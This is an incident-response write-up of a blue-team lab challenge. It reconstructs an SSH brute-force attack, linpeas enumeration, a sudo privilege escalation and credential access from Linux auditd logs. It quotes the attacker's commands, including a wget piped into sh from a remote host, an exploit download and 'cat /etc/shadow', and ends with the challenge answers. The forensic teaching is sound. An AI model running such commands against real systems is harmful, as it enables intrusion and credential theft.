BTLO Incident Response Case Study: Pranoid

Executive Summary#

A forensic review of Linux auditd logs confirms that the host was compromised through an external SSH brute-force attack. The attacker authenticated as a low-privileged user, executed automated system enumeration, escalated privileges using a local sudo vulnerability, accessed sensitive credential material, and attempted basic anti-forensic cleanup. The entire intrusion lifecycle occurred within approximately six minutes.

Scope and Evidence#

Primary artifact:

• audit.log (Linux auditd)

Tools used:

• aureport
• ausearch
• Manual timeline correlation

Observed timeframe:

• 2021-10-04 20:22:07 to 2021-10-04 20:28:06

Initial Triage and Signal Identification#

A summary analysis of the audit log shows extreme activity density over a short time window:

• 87 failed login attempts
• 89 failed authentication attempts
• 1,606 failed syscalls
• 115 unique executables
• 192 commands executed
• 10,679 unique process IDs
• 16,732 total audit events

This volume and velocity of activity is inconsistent with human interaction and strongly indicative of automation.

Initial Access Vector#

Authentication Activity#

Audit records show repeated SSH authentication attempts targeting a single user account.

Targeted account:

• Username: btlo
• UID: 1001

sudo ausearch --input audit.log -m USER_AUTH,USER_LOGIN \
| grep -E "res=failed|success=no" \
| grep -E "addr=|rhost=" \
| sed -n 's/.*addr=\([^ ]*\).*/\1/p' \
| sort | uniq -c | sort -nr

Source of authentication attempts:

• IP address: 192.168.4.155
• Service: /usr/sbin/sshd

Observed pattern:

• Dozens of failed SSH login attempts
• One successful authentication from the same source IP

This pattern confirms a successful SSH brute-force attack.

Post-Compromise Command Activity#

Immediately following authentication, terminal (TTY) logs reveal a structured sequence of commands executed by the attacker.

Initial Environment Reconnaissance#

Commands observed:

• hostname
• whoami
• ls
• sudo -l

Purpose:

• Confirm host identity
• Identify current privilege level
• Enumerate accessible files
• Check sudo permissions and misconfigurations

These commands are typical of post-login validation performed by attackers.

Automated System Enumeration#

Shortly after initial recon, the attacker retrieved and executed an enumeration script from the same external IP used during brute-force attempts.

Command observed:

• wget -O - http://192.168.4.155:8000/linpeas.sh | sh

Source:

• Remote host: 192.168.4.155
• Protocol: HTTP
• Tool delivered: linpeas.sh

Purpose:

• Automated enumeration of kernel, sudo, SUID, cron, and configuration weaknesses
• Identification of local privilege escalation vectors

The execution of linpeas explains the subsequent surge in command executions and process creation.

Privilege Escalation Staging#

Following enumeration, the attacker staged a local exploit.

Commands observed:

• wget http://192.168.4.155:8000/evil.tar.gz
• tar zxvf evil.tar.gz
• cd evil
• make

sudo aureport -p -if audit.log pipe grep 'evil'
16156. 05/10/21 05:57:17 829992 /home/btlo/evil/evil 59 1001 481021

Source:

• Remote host: 192.168.4.155
• Payload type: Source code archive

Purpose:

• Deliver exploit source code
• Compile exploit locally to evade signature-based detection

Privilege Escalation Execution#

The attacker executed the compiled binary:

sudo ausearch --input audit.log -m EXECVE | grep evil

Command observed:

• ./evil 0

Execution metadata:

• Binary name: evil
• Execution path: /home/btlo/evil/evil
• Process ID: 829992
• Executing user: btlo (UID 1001)

Immediately following execution, the attacker revalidated privileges.

Command observed:

• whoami

Subsequent actions confirm that the exploit successfully escalated privileges to root.

Anti-Forensic Cleanup#

After achieving elevated privileges, the attacker removed exploit artifacts.

Commands observed:

• rm -rf /home/btlo/evil
• rm /home/btlo/evil.tar.gz

Purpose:

• Remove compiled binary and source code
• Reduce post-incident forensic artifacts

This cleanup was minimal but deliberate.

Data Access and Impact#

With root-level access confirmed, the attacker accessed sensitive credential storage.

Command observed:

• cat /etc/shadow

Impact:

• Exposure of password hashes for local accounts
• Full credential compromise of the host

This action confirms total system compromise and high business impact.

Root Cause Analysis#

The attack chain follows a well-established intrusion pattern:

1. External SSH brute-force attack
2. Successful authentication as low-privileged user
3. Manual and automated reconnaissance
4. Enumeration using linpeas
5. Local exploit delivery and compilation
6. Privilege escalation via sudo vulnerability
7. Credential data access
8. Anti-forensic artifact removal

The exploit behavior and timeframe align with CVE-2021-3156, a heap-based buffer overflow vulnerability in sudo.

MITRE ATT&CK Mapping#

Indicators of Compromise (IOCs)#

Network IOCs#

Host-Based IOCs#

Behavioral IOCs#

Challenge Submission#

• Compromised account: btlo

• Initial access technique: SSH brute-force attack

• Attacker IP: 192.168.4.155

• Enumeration tool: linpeas

• Privilege escalation binary & PID: evil, PID 829992

• CVE exploited: CVE-2021-3156

• Vulnerability type: Heap-based buffer overflow (Local Privilege Escalation)

• Exfiltrated file: /etc/shadow

Conclusion#

This incident demonstrates how a combination of weak authentication controls and unpatched local vulnerabilities can lead to rapid and complete system compromise. Despite the absence of a SIEM or EDR platform, auditd logs provided sufficient telemetry to reconstruct the attacker’s full kill chain with high confidence.

The case reinforces the importance of:

• SSH hardening and rate limiting
• Strong password policies
• Timely patching of privilege escalation vulnerabilities
• Retention and review of auditd logs for forensic readiness